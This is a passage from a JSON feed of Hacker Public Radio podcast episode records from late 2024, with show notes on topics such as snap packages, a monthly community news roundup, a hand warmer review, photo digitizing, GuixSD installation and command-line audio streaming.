                                                            \n","hostid":296,"series":62,"explicit":0,"license":"CC-BY-SA","tags":"Manchester, OggCamp, Conference","version":0,"downloads":0,"valid":1}, {"id":4238,"date":"2024-10-30","title":"Snaps are better than flatpaks","duration":916,"summary":"Sgoti reminds everyone on the joy of using snap packages.","notes":"

                                                            Snaps are just better.
                                                            72 hours or I'm 100% correct.

                                                            Get your snaps here
                                                            https://snapcraft.io/

                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"snaps, SnapPackages, FlatPak","version":0,"downloads":0,"valid":1}, {"id":4239,"date":"2024-10-31","title":"Android Tasker and Automation","duration":903,"summary":"operat0r talks about Android automation and Tasker","notes":"

                                                            Anything \"tasker\" in https://rmccurdy.com/.scripts/downloaded/ complete dump of all of the Tasker scripts!!!

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Android, hacking, automation","version":0,"downloads":0,"valid":1}, {"id":4240,"date":"2024-11-01","title":"The First Doctor, Part 1","duration":921,"summary":"A look at the first season of Doctor Who","notes":"

                                                            This is a look at the rest of the first season of Doctor Who. We look\nat the problems of producing weekly show on a year-round schedule, and\nthen give a brief description of each of the stories.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Doctor Who, William Hartnell","version":0,"downloads":0,"valid":1}, {"id":4241,"date":"2024-11-04","title":"HPR Community News for October 2024","duration":5730,"summary":"HPR Volunteers talk about shows released and comments posted in October 2024","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4217Tue2024-10-01Episode 2 - Dirt Simple Photo Galleryhairylarry
                                                            4218Wed2024-10-02Crazy Battery StorySwift110
                                                            4219Thu2024-10-03Black diamond head lamp and other gearSome Guy On The Internet
                                                            4220Fri2024-10-04How Doctor Who BeganAhuka
                                                            4221Mon2024-10-07HPR Community News for September 2024HPR Volunteers
                                                            4222Tue2024-10-08Replacing backup batteries in my Kenwood TS940S HF Radio Part 5MrX
                                                            4223Wed2024-10-09Movie review of The Artifice GirlSome Guy On The Internet
                                                            4224Thu2024-10-10Auto shop interactionArcher72
                                                            4225Fri2024-10-11Chewing the rag with Kristoff and KenKen Fallon
                                                            4226Mon2024-10-14JAMBOREE and Taco Bell!operat0r
                                                            4227Tue2024-10-15Introduction to jq - part 3Dave Morriss
                                                            4228Wed2024-10-16Auditing Audio Files For YoutubeDave Hingley
                                                            4229Thu2024-10-17Neurodiversity and HackingLee
                                                            4230Fri2024-10-18Playing Civilization IV, Part 2Ahuka
                                                            4231Mon2024-10-21Duplicating Multiple USB Flash Drives with DD and Tmux on FreeBSDClaudio Miranda
                                                            4232Tue2024-10-22Replacing backup batteries in my Kenwood TS940S HF Radio Part 6MrX
                                                            4233Wed2024-10-23OggCamp 2024 Day 1Ken Fallon
                                                            4234Thu2024-10-24OggCamp 2024 Day 2Ken Fallon
                                                            4235Fri2024-10-25What Is Plain Text Programming?hairylarry
                                                            4236Mon2024-10-28History of NintendoLochyboy
                                                            4237Tue2024-10-29My First OggCamp ExperienceKevie
                                                            4238Wed2024-10-30Snaps are better than flatpaksSome Guy On The Internet
                                                            4239Thu2024-10-31Android Tasker and Automationoperat0r
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 25 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 8 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr4208\n(2024-09-18) \"01 Plain Text Programs\"\nby hairylarry.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nBeeza on 2024-10-03:\n\"Plaintext Programs\"
                                                              • \n
                                                              • \nComment 4:\nDave Morriss on 2024-10-04:\n\"Regarding VMS and indexed files\"
                                                              • \n
                                                              • \nComment 5:\nhairylarry on 2024-10-07:\n\"Thanks for the comments\"

                                                              \n
                                                            • hpr4211\n(2024-09-23) \"Rapid Fire 1\"\nby operat0r.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nSun Yat Babo on 2024-10-25:\n\"neuro diverse film\"

                                                              \n
                                                            • hpr4213\n(2024-09-25) \"Making Waves Day 1\"\nby Ken Fallon.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\ndmt on 2024-10-12:\n\"satdump\"

                                                              \n
                                                            • hpr4216\n(2024-09-30) \"Down the rabbit hole.\"\nby Some Guy On The Internet.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nBeeza on 2024-10-03:\n\"Good Samaritans\"
                                                              • \n
                                                              • \nComment 2:\nReto on 2024-10-23:\n\"The humor\"
                                                              • \n
                                                              • \nComment 3:\nKen Fallon on 2024-10-24:\n\"The View from NL\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 17 comments on 10 of this month's shows:

                                                            \n
                                                            • hpr4221\n(2024-10-07) \"HPR Community News for September 2024\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2024-10-05:\n\"Show notes for the HPR New Years Eve Show 2023-24\"
                                                              • Comment 2:\nbrian-in-ohio on 2024-10-07:\n\"best price?\"

                                                              \n
                                                            • hpr4222\n(2024-10-08) \"Replacing backup batteries in my Kenwood TS940S HF Radio Part 5\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBeeza on 2024-10-08:\n\"Old Batteries\"
                                                              • Comment 2:\nMrX on 2024-10-10:\n\"Re Old Batteries\"

                                                              \n
                                                            • hpr4224\n(2024-10-10) \"Auto shop interaction\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nA. Listener on 2024-10-12:\n\"issue with downloading shows\"

                                                              \n
                                                            • hpr4228\n(2024-10-16) \"Auditing Audio Files For Youtube\"\nby Dave Hingley.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevie on 2024-10-26:\n\"Youtube's copyright strikes\"

                                                              \n
                                                            • hpr4231\n(2024-10-21) \"Duplicating Multiple USB Flash Drives with DD and Tmux on FreeBSD\"\nby Claudio Miranda.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nGumnos on 2024-10-29:\n\"Getting status of dd in OpenBSD\"
                                                              • Comment 2:\nhairylarry on 2024-10-30:\n\"Similarly\"
                                                              • Comment 3:\nClaudioM on 2024-10-31:\n\"Re: Similarly\"
                                                              • Comment 4:\nClaudioM on 2024-10-31:\n\"Re: Getting status of dd in OpenBSD\"

                                                              \n
                                                            • hpr4236\n(2024-10-28) \"History of Nintendo\"\nby Lochyboy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSteve Barnes on 2024-10-29:\n\"Ahhyes.\"
                                                              • Comment 2:\nClaudioM on 2024-10-31:\n\"Virtual Boy?\"

                                                              \n
                                                            • hpr4237\n(2024-10-29) \"My First OggCamp Experience\"\nby Kevie.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nPeter - SolusSpider on 2024-10-30:\n\"OggCamp Dining Experience\"

                                                              \n
                                                            • hpr4238\n(2024-10-30) \"Snaps are better than flatpaks\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-10-30:\n\"Ethernet cable\"
                                                              • Comment 2:\nElliot B on 2024-11-01:\n\"Snaps are the least worst\"

                                                              \n
                                                            • hpr4240\n(2024-11-01) \"The First Doctor, Part 1\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevie on 2024-10-31:\n\"Keep them coming\"

                                                              \n
                                                            • hpr4266\n(2024-12-09) \"What's the weather?\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2024-October/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            HPR Updates

                                                            \n
                                                              \n
                                                            • There has been a lot of activity this month on the Gitea repos\nwith rho`n catching up on outstanding bugs. We also had a\nlot of changes due to the ongoing Internet Archive outage that is still\nimpacting us. A quick fix was to host the 10 day feed directly from the\nHPR server, but since then we have made all the media available on the\nHPR Community Content Delivery Network.

                                                            • \n
                                                            • We will have three sources but if you meet the requirements for\nhosting, and wish to help out please get in touch.

                                                              \n
                                                                \n
                                                              • 24/7 Home Service
                                                              • \n
                                                              • Fixed IP address
                                                              • \n
                                                              • Unlimited bandwidth
                                                              • \n
                                                              • Fast > 500mb/sec upload
                                                              • \n
                                                              • Large > 1T of storage
                                                              • \n
                                                              • Permission from your ISP to run a web server
                                                              • \n
                                                              • Contact information known to the Janitors
                                                              • \n
                                                              • Optional: UPS
                                                              • \n
                                                            • \n
                                                            • We added a html link to the comments page to provide direct\nfeedback from any app that supports it. Eg: gPodder opens Firefox at the\ncomment form.

                                                            • \n
                                                            • We have consolidated a lot of repositories on Gitea, removing\nsome and moving others. https://repo.anhonesthost.net/HPR

                                                            • \n
                                                            • Documentation is now available and includes:

                                                              \n
                                                                \n
                                                              • Community Content Delivery Network (CCDN) A location to\ntrack the deployment of the HPR Community Content Delivery Network, that\nprovides a mirror network for our content.
                                                              • \n
                                                              • HPR Website Design This is literally in the whiteboard\nphase of the HPR website redesign.
                                                              • \n
                                                              • Podcatcher and Podcasting Platform Compatibility Where we\ncan track Compatibility of the clients subscribed to our feeds.
                                                              • \n
                                                              • Useful Resources Where we can link to other free culture\nsites that provide useful services.
                                                              • \n
                                                              • Requested Topics Where we can track topics that have been\nrequested, and link to shows that addressed them.
                                                              • \n
                                                              • Workflow issues.
                                                              • \n
                                                            • \n
                                                            \n

                                                            Message from Dave Morriss

                                                            \n
                                                              \n
                                                            • I am planning to \"retire\" from the Hacker Public Radio Janitorial\nTeam. I have been helping to administer HPR for over 12 years now. I\nfirst offered help to Ken in 2012 in response to an appeal he made. We\nmet at OggCamp in that year, and I joined the Community News recording\nfor episode 1066 in September\n2012. My first show was 1091 in October\nthat year.

                                                            • \n
                                                            • I will turn 75 in December 2024, and am finding that I don't have\nthe energy to do as much as I could when I first joined. I also want to\nbe able to devote more time to the various personal projects I\nhave.

                                                            • \n
                                                            • I plan to consolidate all my scripts on the HPR Gitea\nrepositories, and document all the processes I have been looking after.\nI want to have completed the handover by the end of March 2025.

                                                            • \n
                                                            • I will continue as an HPR host for as long as I can after\nthat.

                                                            • \n
                                                            • I have had a wonderful 12 years as an HPR Janitor and will always\nlook back on it with great pleasure.

                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4242,"date":"2024-11-05","title":"Interview with Lorenzo 'kelset' Sciandra","duration":658,"summary":"Ken tracks down a Lorenzo to talk about his presentations at OggCamp2024","notes":"

                                                            Links

                                                            \n
                                                              \n
                                                            • website: https://kelset.dev/
                                                            • \n
                                                            • mental health project: https://debug-mind.com/
                                                            • \n
                                                            • talk about STF at OGGCamp: https://speakerdeck.com/kelset/sustaining-oss
                                                            • \n
                                                            • talk about mental health at OGGCamp: https://speakerdeck.com/kelset/mental-health-in-tech-oss-edition
                                                            • \n
                                                            • ofc STF's website: https://www.sovereigntechfund.de/
                                                            • \n
                                                            • https://mastodon.online/@kelset
                                                            • \n
                                                            \n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"OggCamp2024,STF,Mental Health","version":0,"downloads":0,"valid":1}, {"id":4243,"date":"2024-11-06","title":"Hand Warmer, long term product review","duration":924,"summary":"Long term product review of my electric hand warmer. Inspiration from Ken Fallon during OggCamp","notes":"

                                                            Background

                                                            \n

                                                            Ken suggested at Oggcamp to do a long term product review of my hand\nwarmer.

                                                            \n

                                                            Product information

                                                            \n
                                                              \n
                                                            • The model: OCOOPA 10,000 mAh capacity

                                                            • \n
                                                            • Purchase date: December 2020

                                                            • \n
                                                            • Cost: £25

                                                            • \n
                                                            • Description: It has a single button used to turn it on and to\nadjust the heat level.

                                                            • \n
                                                            • It has three different USB sockets. These are used when either\ncharging the hand warmer or using it as a power bank to charge other\ndevices.

                                                            • \n
                                                            \n\n

                                                            Fast\ncharge model from Ocoopa. My model charges slower which might be gentler\non the battery. Actually the real reason I bought the slow charge model\nwas it was cheaper

                                                            \n

                                                            Amazon\nseem to sell the model I have and amazingly it’s still £25!

                                                            \n

                                                            Story

                                                            \n

                                                            During OggCamp I mentioned to Ken that I had an electric hand warmer\nand he asked me if it was any good. He suggested I do a long term\nproduct review of it. So here is my review

                                                            \n

                                                            I do lots of dog walking and suffer from cold hands.

                                                            \n

                                                            I've had different hand warmers over the years:

                                                            \n
                                                              \n
                                                            • Ones that you boil in water. Don’t last long
                                                            • \n
                                                            • One that is activated by removing from its packet. Lasts for many\nhours actually too long. They seems very wasteful as they are single\nuse.
                                                            • \n
                                                            • Zippo hand warmer works well but is a faff to setup and sometimes\ngoes out.
                                                            • \n
                                                            \n

                                                            This electric hand warmer is by far the best solution I've found.

                                                            \n

                                                            It saved me twice during OggCamp as I used it on two occasions to top\nup my phone. When arriving and leaving OggCamp.

                                                            \n

                                                            This was the first time I’d used the hand warmer to charge anything.\nI was very glad it worked.

                                                            \n

                                                            At the time of purchase I was rather sceptical about the whole idea\nof electric hand warmers.

                                                            \n

                                                            The batteries are not used in ideal conditions. They get very hot and\nwhen in use a lot of current is drawn from them.

                                                            \n

                                                            My Hand warmer is now almost 4 years old and is still going strong\nwith no noticeable degradation in capacity.

                                                            \n

                                                            It has a rated capacity is 10,000 mAh. The highest charge it achieved\nwas about 1 year into use. It accepted 8034 mAh of charge. I haven’t\nchecked again since November 2021. However it still continues to last\nmany hours / multiple dog walks.

                                                            \n

                                                            I always get a bit nervous over the summer months as it is left for a\nnumber of months unused. Luckily living in Scotland I don’t need to wait\nlong until the weather gets cold. Did I mention before about the\nhorrible weather in Scotland?

                                                            \n

                                                            How I look after the battery

                                                            \n
                                                              \n
                                                            • Always wait for the battery to return to room temperature before\nputting it on charge.

                                                            • \n
                                                            • Don’t leave the hand warmer for more than a few days at 100%\ncharge.

                                                            • \n
                                                            • Try not to completely flatten the battery. If you do flatten the\nbattery then charge it up soon afterwards.

                                                            • \n
                                                            • If storing it for a number of months then try to store it at\napproximately 50% charge.

                                                            • \n
                                                            \n

                                                            Top view
                                                            \n\"Top

                                                            \n

                                                            Underneath
                                                            \n\"Underneath\"

                                                            \n

                                                            USB ports
                                                            \n\"USB

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Review, Gadget, Outdoors, Walking","version":0,"downloads":0,"valid":1}, {"id":4244,"date":"2024-11-07","title":"Two methods of digitizing photos.","duration":495,"summary":"A brief discussion about two methods of digitizing analog photos.","notes":"

                                                            Today I will talk about digitizing analog photos. I will talk about\ntwo methods.

                                                            \n

                                                            I have scanners from different manufacturers, flat bed scanner and\ndedicated film scanner. Each scanner is delivered with software. Each\nsoftware is generally good. But it is a problem to manage several\nsoftware. Secondly, none of them works for Linux operating system. I\nwanted to simplify my software learning, so I wanted one software for\nall my existing and any future scanner. Secondly I intended to migrate\nto a Linux operating system, which I now have done.

                                                            \n

                                                            Those two requirements lead me to switch over to VueScan software. I\nhad tested VueScan before and also gotten recommendations from\nphotographic friends. VueScan is a proprietary software made by a small\nfamily run company. It’s available for Linux, Windows and macOS. VueScan\nsupports very many hardware scanners. I do not know about any better\nsoftware for Linux and is maybe also the best choice for any operating\nsystem. I do not regret my switch to VueScan.

                                                            \n

                                                            A second method to digitize photos is reproduction with a camera.\nThat is to use a camera to shoot a photo of the photo.

                                                            \n

                                                            Some say it is the superior technology. I don’t know. But as I am\ncoming from the scanning technology and starting to explore the repro\ntechnology, I will give my early thoughts from that perspective.

                                                            \n

                                                            My initial plan has been to use repro photography for prints that are\nglued into albums and therefore difficult to manage in the scanner. It\nis also an excellent method to digitize other papers in book format. But\nI have not really started to do that.

                                                            \n

                                                            However, a while ago I started to look into 6x9 cm negatives. My\nscanner can just manage 6x9. But I do not have a fixture for 6x9. So it\nis both somewhat tricky to position the negative as well as to keep it\nflat. A thin plexiglass plate might be possible to use to keep it flat.\nEven without plexiglass, I have tested I can get well acceptable result\nwith the scanner.

                                                            \n

                                                            I started to try out the repro method. I have not come so far in my\ntrials that I can decide which is the best method for me.

                                                            \n

                                                            My camera is a modest camera compared to state of the art. My flat\nbed scanner should give better or comparable resolution than my modest\ndigital camera. The fixture I have for repro do not keep the negative\nfully flat, because 6x9 is a rather big size. So I plan to explore if I\ncan improve quality with a plexiglass plate above the negative.

                                                            \n

                                                            An issue with the repro method is to keep all angles in control, to\nmount the camera in exactly correct angle in relation to the object.\nFocus can also be another issue. I consider it is better to use manual\nfocus rather than auto focus. When I take the repro photos, I have the\ncamera connected to a laptop and I use the Entangle software to control\nthe camera settings. I can use the camera live view to position the\nobject as well as to focus.

                                                            \n

                                                            I use RawTherapee software to convert the negative photo to a normal\nphoto. RawTherapee comes with pre-installed profiles for this process.\nThe default profile values can be adjusted and also stored as new\npersonal profiles.

                                                            \n

                                                            A major advantage of the repro method compared to the scanner method\nis the speed. Once all is configured, it takes one hundred of a second\nor so to do the digitize itself, while it can take minutes with the\nscanner.

                                                            \n

                                                            I use digiKam as my photo catalog software.

                                                            \n

                                                            All software I currently use with the exception of VueScan are free\nand open source. I use all on Linux operating system, some of them are\navailable on other platforms. I include links to their websites in the\nshow notes.

                                                            \n

                                                            If you have any opinion or experience on digitizing analog photos, I\nwill be happy to read your comments or listen to your show.

                                                            \n

                                                            Software

                                                            \n

                                                            VueScan: https://www.hamrick.com/

                                                            \n

                                                            Entangle: https://entangle-photo.org/

                                                            \n

                                                            RawTherapee: https://rawtherapee.com/

                                                            \n

                                                            digiKam: https://www.digikam.org/

                                                            \n","hostid":429,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"photography, digitize, digitizing, scanner, reproduction, repro","version":0,"downloads":0,"valid":1}, {"id":4245,"date":"2024-11-08","title":"What's in my bag?","duration":1256,"summary":"An impromptu What's in My Bag episode from the reserve queue","notes":"

                                                            Just me rambling as I go through my (former) every day carry bag in\npreparation for a trip.

                                                            \n","hostid":394,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"bag, rambling","version":0,"downloads":0,"valid":1}, {"id":4246,"date":"2024-11-11","title":"Bytes, Pages and Screens","duration":728,"summary":"A trek through some podcasts, books and TV shows","notes":"Podcasts

                                                            \nLinux Outlaws - https://en.wikipedia.org/wiki/Linux_Outlaws

                                                            \nThis Week In Tech - Know How - https://twit.tv/shows/know-how

                                                            \nThis Week In Tech - Security Now - https://twit.tv/shows/security-now

                                                            \nThis Week In Tech - FLOSS Weekly - https://twit.tv/shows/floss-weekly

                                                            \nDestination Linux - https://tuxdigital.com/podcasts/destination-linux/

                                                            \nGNU World Order - https://gnuworldorder.info

                                                            \nBooks

                                                            \nThe Lord of the Rings (J R R Tolkien) - https://en.wikipedia.org/wiki/The_Lord_of_the_Rings

                                                            \nDune (Frank Herbert) - https://en.wikipedia.org/wiki/Dune_(novel)

                                                            \nWar & Peace (Leo Tolstoy) - https://en.wikipedia.org/wiki/War_and_Peace

                                                            \nThe Hitchhikers Guide to the Galaxy (Douglas Adams) - https://en.wikipedia.org/wiki/The_Hitchhiker%27s_Guide_to_the_Galaxy

                                                            \nDiscworld (Terry Pratchett) - https://en.wikipedia.org/wiki/Discworld

                                                            \nCryptonomicon & Anathem (Neal Stephenson) - https://en.wikipedia.org/wiki/Neal_Stephenson

                                                            \nHave Spacesuit Will Travel, Double Star, Stranger in a Strange Land (Robert A Heinlein) - https://en.wikipedia.org/wiki/Robert_A._Heinlein

                                                            \nEnders Games (Orson Scott Card) - https://en.wikipedia.org/wiki/Ender%27s_Game

                                                            \nHarry Potter and the Prisoner of Azkaban (J K Rowling) - https://en.wikipedia.org/wiki/Harry_Potter

                                                            \nAurora CV-01 (Ryk Brown) - https://frontierssaga.com/episodes/

                                                            \nTV Series

                                                            \nPrisoner Cell Block H (Grundy) - https://en.wikipedia.org/wiki/Prisoner_(TV_series)

                                                            \nNeighbours (Grundy) - https://en.wikipedia.org/wiki/Neighbours

                                                            \nMr Robot (USA Network) - https://en.wikipedia.org/wiki/Mr._Robot

                                                            \nBlack Mirror (Endemol Shine) - https://en.wikipedia.org/wiki/Black_Mirror

                                                            \nDexter (Showtime) - https://en.wikipedia.org/wiki/Dexter_(TV_series)

                                                            \nTouched by an Angel (Warner Bros) - https://en.wikipedia.org/wiki/Touched_by_an_Angel
                                                            \n","hostid":403,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"tv, podcasts, books","version":0,"downloads":0,"valid":1}, {"id":4247,"date":"2024-11-12","title":"Installing GuixSD--Part Deux","duration":1728,"summary":"Rho`n records installing GuixSD onto a Mac Mini computer","notes":"

                                                            Synopsis

                                                            \n\n

                                                            In this episode Rho`n records his further adventures in installing GuixSD onto a Mac Mini computer.

                                                            \n\n

                                                            Guix has a graphical text based installer. It is reminiscent of the mid to late 90s Debian installers. Even with its old school feel, the installer is very nice. It is well laid out, has good onscreen description for each step of the installation process, and provides ample configuration selections from language, to to key board layout, to desktop and software selection.

                                                            \n\n

                                                            References

                                                            \n\n\n\n

                                                            Attribution

                                                            \n\n

                                                            The transition sound used between audio clips is found on freesound.org:
                                                            \nName: Harp Transition Music Cue
                                                            \nAuthor: DanJFilms
                                                            \nLicense: Creative Commons Zero

                                                            \n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Guix,GuixSD,installer,install,USB drive,Mac Mini","version":0,"downloads":0,"valid":1}, {"id":4248,"date":"2024-11-13","title":"Millie Perkins","duration":847,"summary":"Ken talks with Millie Perkins about her home automation talk at OggCamp","notes":"

                                                            Millie Perkins gave a talk \"Home automation 🏠 A beginner's foray\ndown the rabbit hole\" on Sunday 13 October 2024 between 11:00 and 11:30.\nThe talk was so well received that our HPR Reporters tracked her down\nfor a follow up chat.

                                                            \n\n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"OggCamp2024, HomeAssistant, HomeAutomation","version":0,"downloads":0,"valid":1}, {"id":4249,"date":"2024-11-14","title":"Audio Streams on the Command Line","duration":476,"summary":"Kevie talks about streaming and ripping audio streams on Linux using the command line","notes":"

                                                            TuxJam co-host Kevie has a discussion about playing an audio stream from the command line using VLC and also MPG123 and then ripping the stream to a localised file using the wget command:

                                                            \n

                                                            Play a stream using VLC:

                                                            \ncvlc https://your.radio.stream\n

                                                            Play a stream using MPG123:

                                                            \nmpg123 https://your.radio.stream\n

                                                            Rip the stream to a local file:

                                                            \nwget -O YourFile.flac \"https://your.radio.stream\"\n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CLI, audio, streaming, radio, recording, ripping, music","version":0,"downloads":0,"valid":1}, {"id":4250,"date":"2024-11-15","title":"Playing Civilization IV, Part 3","duration":904,"summary":"We continue our look at the mechanics of this game","notes":"

                                                            Civilization IV made some changes, and in this episode we look at\nReligion. This is one of the big changes from previous versions of the\ngame and is something that will continue to be important in future\nversions.

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • https://www.palain.com/gaming/civilization-iv/playing-civilization-iv-part-3/
                                                            • \n
                                                            \n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization IV","version":0,"downloads":0,"valid":1}, {"id":4251,"date":"2024-11-18","title":"Dave and MrX turn over a new leaf","duration":3462,"summary":"It's a leafy day in Studio N","notes":"
                                                            \n

                                                            Introduction

                                                            \n

                                                            Hosts:

                                                            \n
                                                              \n
                                                            • MrX
                                                            • \n
                                                            • Dave\nMorriss
                                                            • \n
                                                            \n

                                                            We recorded this on Saturday September 14th 2024. This\ntime we were at Swanston Farm, a place we had previously visited for\nlunch in March 2024.

                                                            \n

                                                            After lunch we adjourned to Dave's car (Studio N) in the car\npark, and recorded a chat. The details of why it is Studio N\ninstead of Studio C is mentioned in the chat itself!

                                                            \n

                                                            Preparing this show has taken longer than usual this time\n- apologies!

                                                            \n

                                                            Topics discussed

                                                            \n
                                                              \n
                                                            • Studio change:\n
                                                                \n
                                                              • Sadly, since the last recording Studio C (Dave's 10-year\nold Citroën C4\nPicasso) self-destructed. It was a diesel car and one of the fuel\ninjectors failed and destroyed the engine management system as it died.\nIt wasn't worth repairing!
                                                              • \n
                                                              • The replacement is Studio N, a Nissan Leaf, which is an EV (electric\nvehicle). The price of nearly new EV cars is fairly good in the UK\nat this time in 2024, so it seemed like a good opportunity to get\none.
                                                              • \n
                                                              • Learning to own and drive an EV can be challenging to some extent:\n
                                                                  \n
                                                                • \"Range anxiety\" and access to charging stations
                                                                • \n
                                                                • Regenerative\nbraking
                                                                • \n
                                                                • Fast (DC) charging on the road is relatively expensive (£0.79p per\nkWh), but is convenient
                                                                • \n
                                                                • Ideally, a home (AC) charger is required. It will be slower (7 kW\nper hour) but will be cheaper with a night tariff (£0.085 per kWh versus\n£0.25 per kWh normal rate)
                                                                • \n
                                                                • There is potential, with solar panels and a battery, to use free\nelectricity to charge an EV at home
                                                                • \n
                                                              • \n
                                                              • MrX might like to move to an EV in the future
                                                              • \n
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • Databases:\n
                                                                \n
                                                              • MrX used dBase on DOS in the past,\nand received some training in databases.
                                                              • \n
                                                              • In 2017 he obtained a large csv\n(comma-separated values) file from the OFCOM (Office of\nCommunications, UK) website containing their Wireless Legacy\nRegister, which contains licensees and frequencies with longitude\nand latitude values. A means of interrogating this file was sought,\nhaving found that spreadsheets were not really very good at handling\nfiles of this size (around 200,000 records).
                                                              • \n
                                                              • MrX used the xsv tool, which was covered\nin shows hpr2698\nand hpr2752\nby Mr.\nYoung. It allows a CSV file to be interrogated in quite a lot of\ndetail from the command line. However, with a file of this size it was\nstill quite slow.
                                                              • \n
                                                              • In a discussion with Dave the subject of the SQLite database came up.\nUsing the SQLite Browser it was\nsimple to load this CSV file into a database and gain rapid access to\nits contents. SQLite databases may also be queried through a\ncommand-line interface which can also be run on a Raspberry Pi, phones,\ntablets and on a ChromeBook.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • The textimg\ntool:\n
                                                                \n
                                                              • This is a command to convert from colored text (ANSI or 256) to an\nimage. Dave generates coloured text from his meal database (HPR show hpr3386 ::\nWhat's for dinner?, this being a later enhancement), then captures\nthe output and sends it to a Telegram channel shared with his\nfamily.
                                                              • \n
                                                              • Dave also exchanges weather data obtained from the site\nwttr.in with Archer72\non Matrix.
                                                              • \n
                                                              • This is a useful tool for generating images from text, including any\ntext colours. It can be installed from the GitHub copy, and maybe from\nsome package repositories.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Using coloured text in BASH (Dave responding to MrX):\n
                                                                \n
                                                              • I have used a function to define variables with colour names:\n
                                                                  \n
                                                                • Call a function define_colours which defines (and\nexports) variables called red, green,\netc.
                                                                • \n
                                                                • Using red=$(tput setaf 1); export red
                                                                • \n
                                                              • \n
                                                              • I use the colours in two ways:\n
                                                                  \n
                                                                • Method 1: use these names in\necho \"${red}Red text${reset}\"
                                                                • \n
                                                                • Method 2: use another function coloured which takes two\narguments, a colour name (as a string) and a message. The script\nencloses the message argument in a colour variable and a reset. The\ncolour name argument is used in a redirection to turn red\ninto the contents of the variable $red.
                                                                • \n
                                                              • \n
                                                              • This probably needs a show to explain things fully.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Terminal multiplexers:\n
                                                                \n
                                                              • Dave and MrX use GNU screen.
                                                              • \n
                                                              • Both recognise that the alternative tmux might be\nbetter to use in terms of features, but are reluctant to learn a new\ninterface!
                                                              • \n
                                                              • Dave has noticed a new open-source alternative called zellij but has not yet used it.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Variable weather:\n
                                                                \n
                                                              • Dealing with hot weather: YouTube, Techmoan channel PERSONAL AIRCON -\nRanvoo Aice Lite Review
                                                              • \n
                                                              • MrX had recently had a holiday in the Lake District\nwhere the weather was good.
                                                              • \n
                                                              • In Scotland the weather has been wet and windy in the same\nperiod.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Spectrum24, OggCamp:\n
                                                                \n
                                                              • MrX is attending his first OggCamp in Manchester. Dave will be\nattending too, as will Ken.\n
                                                                  \n
                                                                • HPR has a table/booth at OggCamp.
                                                                • \n
                                                              • \n
